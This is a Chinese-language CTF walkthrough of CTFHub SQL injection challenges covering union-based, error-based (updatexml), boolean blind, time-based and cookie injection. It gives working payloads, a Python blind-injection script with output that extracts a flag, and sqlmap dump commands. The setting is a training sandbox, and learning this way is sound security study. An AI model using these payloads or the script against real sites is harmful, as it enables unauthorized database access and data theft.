一、整数型注入
1.输入1,2,3判断存在整数型注入
2.判断当前表的字段个数,在字段为1,和2时有回显,判断字段数为2

3.判断注入点,查询:-1 union select 1,2 只显示2,注入点在2处
4.查询数据库,爆出数据库为sqli
5.查询表名,爆出2个表
6.有flag提示,查询表flag中的字段
7.flag表中有flag的字段,查询flag字段中的具体内容,得到flag
二、字符型注入
1.输入1,由提示可知存在字符型注入,可以通过利用#注释掉后面的内容
2.构造1’ order by 1#结构判断当前表的字段个数,在字段为1,和2时有回显,判断字段数为2
3.找注入点,在2处,依次进行爆表、数据库、字段(与整数型注入相似)
三、报错注入
1.输入1,2,3以及1’发现会出现报错
有三种报错注入的方法:group by 重复键冲 extractvalue() 函数 updatexml() 函数
我这些方法都有尝试,主要用updatexml() 函数找flag
2.获取数据库名字
3.获取当前数据库中表的名字
1 and updatexml(1,concat('^',(select table_name from information_schema.tables where table_schema='sqli' ),'^'),1) --+
4.显示的内容超过一行它不能显示那么多,所以在 table_schema='sqli' 后加上 limit 0,1,显示第一行。然后依次获取第一、二个表名
5.有flag提示,查询表flag中的字段
四、布尔注入
1.输入1,2,3时只会出现两种表示,一个是正确一个是错误
有两种方法:手动注入和 python脚本
手动注入
思路:不论是数据库还是表还是字段,先判断长度,然后利用ascll码判断每一个字符
1:判断当前数据库的长度,利用二分法,依次慢慢与目标缩进
输入:1 and length(database())<5 显示正确
输入:1 and length(database())>5 显示错误
说明字符数在5个以内,一个一个去猜当输入 1 and length(database())=5 时 显示正确
说明字符为4个
2:判断当前数据库的字符,利用二分法依次判断
//判断数据库的第一个字符(以此类推)
输入:1 and ascii(substr(database(),1,1))>100
//判断数据库的第二个字符
输入:1 and ascii(substr(database(),2,1))>100
//判断数据库的第三个字符
输入:1 and ascii(substr(database(),3,1))>100
...........
由此可以判断出当前数据库为 sqli
python脚本
用pycharm运行此代码(下载requests库),改一下url就可以
# @SoftWare : PyCharm
import requests
urlOPEN = 'http://challenge-1ff99e9745e879f5.sandbox.ctfhub.com:10800/?id='
starOperatorTime = []
mark = 'query_success'
def database_name():
name = ''
for j in range(1, 9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = urlOPEN + 'if(substr(database(),%d,1)="%s",1,(select table_name from information_schema.tables))' % (
j, i)
# print(url+'%23')
r = requests.get(url)
if mark in r.text:
name = name + i
print(name)
break
print('database_name:', name)
database_name()
def table_name():
list = []
for k in range(0, 4):
name = ''
for j in range(1, 9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = urlOPEN + 'if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' % (
k, j, i)
# print(url+'%23')
r = requests.get(url)
if mark in r.text:
name = name + i
break
list.append(name)
print('table_name:', list)
table_name()
def column_name():
list = []
for k in range(0, 3): # 判断表里最多有4个字段
name = ''
for j in range(1, 9): # 判断一个 字段名最多有9个字符组成
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = urlOPEN + 'if(substr((select column_name from information_schema.columns where table_name="flag"and table_schema= database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' % (
k, j, i)
r = requests.get(url)
if mark in r.text:
name = name + i
break
list.append(name)
print('column_name:', list)
column_name()
def get_data():
name = ''
for j in range(1, 50): # 判断一个值最多有51个字符组成
for i in range(48, 126):
url = urlOPEN + 'if(ascii(substr((select flag from flag),%d,1))=%d,1,(select table_name from information_schema.tables))' % (
j, i)
r = requests.get(url)
if mark in r.text:
name = name + chr(i)
print(name)
break
print('value:', name)
get_data()
我的运行结果如下:
C:\Users\Lenovo\Desktop\ctf-ldx\a\.venv\Scripts\python.exe C:\Users\Lenovo\Desktop\ctf-ldx\a\.venv\a.py
s
sq
sql
sqli
database_name: sqli
table_name: ['news', 'flag', '', '']
column_name: ['flag', '', '']
c
ct
ctf
ctfh
ctfhu
ctfhub
ctfhub{
ctfhub{0
ctfhub{0b
ctfhub{0b3
ctfhub{0b33
ctfhub{0b332
ctfhub{0b332a
ctfhub{0b332a7
ctfhub{0b332a73
ctfhub{0b332a736
ctfhub{0b332a7365
ctfhub{0b332a7365e
ctfhub{0b332a7365ea
ctfhub{0b332a7365ea7
ctfhub{0b332a7365ea74
ctfhub{0b332a7365ea74e
ctfhub{0b332a7365ea74e1
ctfhub{0b332a7365ea74e1c
ctfhub{0b332a7365ea74e1c3
ctfhub{0b332a7365ea74e1c3c
ctfhub{0b332a7365ea74e1c3c3
ctfhub{0b332a7365ea74e1c3c3d
ctfhub{0b332a7365ea74e1c3c3de
ctfhub{0b332a7365ea74e1c3c3de8
ctfhub{0b332a7365ea74e1c3c3de81
ctfhub{0b332a7365ea74e1c3c3de81}
value: ctfhub{0b332a7365ea74e1c3c3de81}
Process finished with exit code 0
五、时间盲注
1.在盲注时可以使用SQLMap工具
输入以下指令分别查到数据库、表名、字段名以及字段内容
python sqlmap.py -u "网址/?id=1" --dbs
python sqlmap.py -u "网址/?id=1" -D 数据库名 --tables
python sqlmap.py -u "网址/?id=1" -D "数据库名" -T "表名" --columns
python sqlmap.py -u "网址/?id=1" -D "数据库名" -T "表名" -C "字段名" --dump
六、MYsql注入
1.手动注入表名和字段名,得到flag
查找字段内容得到flag: -1 union select 1,group_concat(字段名) from 表名
七、Cookie注入
1.使用sqlmap注入得到flag
python sqlmap.py -u "网址/?id=1" --dbs
python sqlmap.py -u "网址/?id=1" -D 数据库名 --tables
python sqlmap.py -u "网址/?id=1" -D "数据库名" -T "表名" --columns
python sqlmap.py -u "网址/?id=1" -D "数据库名" -T "表名" -C "字段名" --dump